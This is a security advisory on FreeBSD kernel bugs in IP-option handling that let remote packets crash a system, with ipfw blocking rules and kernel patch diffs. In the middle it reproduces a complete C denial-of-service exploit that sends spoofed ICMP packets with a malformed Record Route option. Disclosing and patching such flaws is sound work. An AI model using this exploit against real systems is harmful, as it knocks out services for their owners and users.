COMMAND
kernel
SYSTEMS AFFECTED
FreeBSD systems prior to 2000-06-08 (3.4-STABLE, 4.0-STABLE and 5.0-CURRENT)
PROBLEM
Following is based on NetBSD Security Advisory 2000-002 and
Jun-ichiro Itojun Hagino. There are several bugs in the
processing of IP options in the FreeBSD IP stack, which fail to
correctly bounds-check arguments and contain other coding errors
leading to the possibility of data corruption and a kernel panic
upon reception of certain invalid IP packets.
This set of bugs includes the instance of the vulnerability
described in NetBSD Security Advisory 2000-002 as well as other
bugs with similar effect. Remote users can cause a FreeBSD system
to panic and reboot.
'yeti' posted exploit:
#include <stdio.h>
#include <libnet.h>
/* Remote denial-of-service in IP stack
simple exploit by y3t1
y3t1@rast.lodz.pdi.net
Gretzzz : rastlin,z33d,vanitas,DYZIU,Kuki,vx,zx,korie,kaneda,
d3cker&mroowka,jarv33s,funkySh,Shadow,tmoggie
all from :
#hwa.hax0r.news@efnet
#darnet@efnet
*/
int rand_n(u_long zakres)
{
return 1+(int) ((float)zakres*rand()/(RAND_MAX+1.0));
}
int main(int argc, char **argv)
{
char a;
int sock, c,pkt,ile;
struct hostent *host;
u_long src_ip, dst_ip;
u_char *buf;
u_char options[4];
int option_s = sizeof(options);
struct ipoption ipopt;
srand(time(NULL));
ile=100;
printf(" -= Remote denial-of-service in IP stack =- \n");
printf("\n");
printf(" by y3t1/team140\n");
printf(" y3t1@rast.lodz.pdi.net \n");
printf("\n");
if (argc < 4)
{
printf("%s -s src_addr -d dst_addr -p packets\n",argv[0]);
printf(" -s src_addr - source address \n");
printf(" -d dst_addr - dest address \n");
printf(" -p packets - how many packets send to dest (default 100)\n");
exit(1);
}
opterr=0;
while((a=getopt(argc,argv,"s:d:p:"))!=EOF)
{
switch(a) {
case 's': {
if ((host=gethostbyname(optarg))!=NULL)
bcopy(host->h_addr,&src_ip,host->h_length);
else src_ip=inet_addr(optarg);
break;
}
case 'd': {
if ((host=gethostbyname(optarg))!=NULL)
bcopy(host->h_addr,&dst_ip,host->h_length);
else dst_ip=inet_addr(optarg);
break;
}
case 'p': {
ile=atoi(optarg);
break;
}
}
}
bzero(options,option_s);
buf = malloc(IP_MAXPACKET);
if (!buf)
{
perror("malloc");
exit(-1);
}
sock = libnet_open_raw_sock(IPPROTO_RAW);
if (sock == -1)
{
perror("socket");
exit(-1);
}
libnet_build_ip(LIBNET_ICMP_H ,0,242,0,48,IPPROTO_ICMP,src_ip,dst_ip,NULL,0,buf);
memcpy(ipopt.ipopt_list, options, option_s);
*(ipopt.ipopt_list) = IPOPT_RR;
*(ipopt.ipopt_list+1) = 3;
*(ipopt.ipopt_list+2) = 0xff;
*(ipopt.ipopt_list+3) = 0;
c = libnet_insert_ipo(&ipopt,option_s,buf);
if (c == -1)
{
printf("Error\n");
exit(1);
}
libnet_build_icmp_echo(ICMP_ECHO,0,242,31337,NULL,0,buf+LIBNET_IP_H+option_s);
if (libnet_do_checksum(buf,IPPROTO_ICMP,LIBNET_ICMP_ECHO_H)==-1)
{
printf("can't do checksum \n");
}
for (pkt=0;pkt<ile;pkt++)
{
buf[22]=rand_n(0xff);
c = libnet_write_ip(sock, buf, LIBNET_ICMP_ECHO_H + LIBNET_IP_H + option_s);
}
free(buf);
libnet_close_raw_sock(sock);
}
SOLUTION
Incoming packets containing IP Options can be blocked at a
perimeter firewall or on the local system, using ipfw(8) (ipf(8)
is also capable of blocking packets with IP Options, but is not
described here). The following ipfw rules are believed to
prevent the denial-of-service attack (replace the rule numbers
'100'-'103' with whichever rule numbers are appropriate for your
local firewall, if you are already using ipfw):
ipfw add 100 deny log ip from any to any ipopt rr
ipfw add 101 deny log ip from any to any ipopt ts
ipfw add 102 deny log ip from any to any ipopt ssrr
ipfw add 103 deny log ip from any to any ipopt lsrr
Note that there are legitimate uses for IP options, although they
are no believed to be in common use, and blocking them should not
cause any problems. Therefore the log entries generated by these
ipfw rules will not necessarily be evidence of an attempted
attack. Furthermore, the packets may be spoofed and have
falsified source addresses.
Solution is one of the following:
1) Upgrade your FreeBSD system to 3.4-STABLE, 4.0-STABLE or
5.0-CURRENT after the respective correction dates.
2) Apply the patch below and recompile your kernel.
Either save this advisory to a file, or download the patch and
detached PGP signature from the following locations, and verify
the signature using your PGP utility:
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:23/ip_options.diff
ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:23/ip_options.diff.asc
# cd /usr/src/sys/netinet
# patch -p < /path/to/patch_or_advisory
Recompile your kernel as described in
http://www.freebsd.org/handbook/kernelconfig.html
and reboot the system.
Index: ip_icmp.c
===================================================================
RCS file: /ncvs/src/sys/netinet/ip_icmp.c,v
retrieving revision 1.39
diff -u -r1.39 ip_icmp.c
--- ip_icmp.c 2000/01/28 06:13:09 1.39
+++ ip_icmp.c 2000/06/08 15:26:39
@@ -662,8 +662,11 @@
if (opt == IPOPT_NOP)
len = 1;
else {
+ if (cnt < IPOPT_OLEN + sizeof(*cp))
+ break;
len = cp[IPOPT_OLEN];
- if (len <= 0 || len > cnt)
+ if (len < IPOPT_OLEN + sizeof(*cp) ||
+ len > cnt)
break;
}
/*
Index: ip_input.c
===================================================================
RCS file: /ncvs/src/sys/netinet/ip_input.c,v
retrieving revision 1.130
diff -u -r1.130 ip_input.c
--- ip_input.c 2000/02/23 20:11:57 1.130
+++ ip_input.c 2000/06/08 15:25:46
@@ -1067,8 +1067,12 @@
if (opt == IPOPT_NOP)
optlen = 1;
else {
+ if (cnt < IPOPT_OLEN + sizeof(*cp)) {
+ code = &cp[IPOPT_OLEN] - (u_char *)ip;
+ goto bad;
+ }
optlen = cp[IPOPT_OLEN];
- if (optlen <= 0 || optlen > cnt) {
+ if (optlen < IPOPT_OLEN + sizeof(*cp) || optlen > cnt) {
code = &cp[IPOPT_OLEN] - (u_char *)ip;
goto bad;
}
@@ -1174,6 +1178,10 @@
break;
case IPOPT_RR:
+ if (optlen < IPOPT_OFFSET + sizeof(*cp)) {
+ code = &cp[IPOPT_OFFSET] - (u_char *)ip;
+ goto bad;
+ }
if ((off = cp[IPOPT_OFFSET]) < IPOPT_MINOFF) {
code = &cp[IPOPT_OFFSET] - (u_char *)ip;
goto bad;
Index: ip_output.c
===================================================================
RCS file: /ncvs/src/sys/netinet/ip_output.c,v
retrieving revision 1.99
diff -u -r1.99 ip_output.c
--- ip_output.c 2000/03/09 14:57:15 1.99
+++ ip_output.c 2000/06/08 15:27:08
@@ -1302,8 +1302,10 @@
if (opt == IPOPT_NOP)
optlen = 1;
else {
+ if (cnt < IPOPT_OLEN + sizeof(*cp))
+ goto bad;
optlen = cp[IPOPT_OLEN];
- if (optlen <= IPOPT_OLEN || optlen > cnt)
+ if (optlen < IPOPT_OLEN + sizeof(*cp) || optlen > cnt)
goto bad;
}
switch (opt) {